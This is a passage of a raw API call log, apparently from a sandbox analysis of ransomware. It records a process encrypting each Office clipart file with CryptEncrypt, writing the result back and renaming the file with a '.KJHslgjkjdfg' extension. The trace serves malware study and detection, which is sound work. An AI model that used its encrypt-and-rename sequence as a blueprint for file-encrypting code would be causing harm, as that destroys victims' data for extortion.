office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.kjhslgjkjdfg")) returned 1 [0172.644] CloseHandle (hObject=0x114) returned 1 [0172.644] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0172.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.645] GetProcessHeap () returned 0x2a0000 [0172.645] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.645] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.645] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.645] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.647] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.647] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.647] GetProcessHeap () returned 0x2a0000 [0172.647] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.648] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.648] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.648] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.648] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.648] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.648] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.648] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.648] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.648] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.648] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.648] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4ea8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4ea8, lpOverlapped=0x0) returned 1 [0172.649] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4eb0, dwBufLen=0x4eb0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4eb0) returned 1 [0172.649] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.649] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4eb0, lpOverlapped=0x0) returned 1 [0172.649] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.650] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.650] SetEndOfFile (hFile=0x114) returned 1 [0172.652] GetProcessHeap () returned 0x2a0000 [0172.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.652] GetProcessHeap () returned 0x2a0000 [0172.652] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.kjhslgjkjdfg")) returned 1 [0172.653] CloseHandle (hObject=0x114) returned 1 [0172.653] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0172.653] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.654] GetProcessHeap () returned 0x2a0000 [0172.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.654] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.654] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.654] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.654] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.654] GetProcessHeap () returned 0x2a0000 [0172.654] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.654] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.654] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.654] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.656] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.656] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.656] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.656] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.656] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.656] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.657] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.657] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3490, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3490, lpOverlapped=0x0) returned 1 [0172.657] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3490, dwBufLen=0x3490 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3490) returned 1 [0172.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.658] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3490, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3490, lpOverlapped=0x0) returned 1 [0172.658] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.658] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.658] SetEndOfFile (hFile=0x114) returned 1 [0172.660] GetProcessHeap () returned 0x2a0000 [0172.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.661] GetProcessHeap () returned 0x2a0000 [0172.661] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.kjhslgjkjdfg")) returned 1 [0172.662] CloseHandle (hObject=0x114) returned 1 [0172.662] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0172.662] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.662] GetProcessHeap () returned 0x2a0000 [0172.662] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.662] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.662] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.662] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0172.664] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.664] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.664] GetProcessHeap () returned 0x2a0000 [0172.664] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.665] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.665] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.665] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.665] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.665] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.665] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.665] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.665] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.665] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.665] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.665] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x5804, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x5804, lpOverlapped=0x0) returned 1 [0172.666] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5810, dwBufLen=0x5810 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5810) returned 1 [0172.666] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.666] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5810, lpOverlapped=0x0) returned 1 [0172.667] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.667] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x58e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.667] SetEndOfFile (hFile=0x114) returned 1 [0172.669] GetProcessHeap () returned 0x2a0000 [0172.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.669] GetProcessHeap () returned 0x2a0000 [0172.669] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.669] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.kjhslgjkjdfg")) returned 1 [0172.670] CloseHandle (hObject=0x114) returned 1 [0172.670] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0172.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.671] GetProcessHeap () returned 0x2a0000 [0172.671] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.671] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.671] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.671] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.673] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.673] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.673] GetProcessHeap () returned 0x2a0000 [0172.673] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0172.673] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0172.673] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.673] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0172.673] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0172.673] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0172.673] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0172.673] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0172.674] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.674] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x571c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x571c, lpOverlapped=0x0) returned 1 [0172.675] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5720, dwBufLen=0x5720 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x5720) returned 1 [0172.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.675] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x5720, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x5720, lpOverlapped=0x0) returned 1 [0172.675] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0172.675] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x57f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.675] SetEndOfFile (hFile=0x114) returned 1 [0172.678] GetProcessHeap () returned 0x2a0000 [0172.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0172.678] GetProcessHeap () returned 0x2a0000 [0172.678] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0172.678] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf.kjhslgjkjdfg")) returned 1 [0172.679] CloseHandle (hObject=0x114) returned 1 [0172.679] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x614c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107158.WMF", cAlternateFileName="")) returned 1 [0172.679] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107158.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107158.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0172.680] GetProcessHeap () returned 0x2a0000 [0172.680] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0172.680] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0172.680] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0172.680] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, 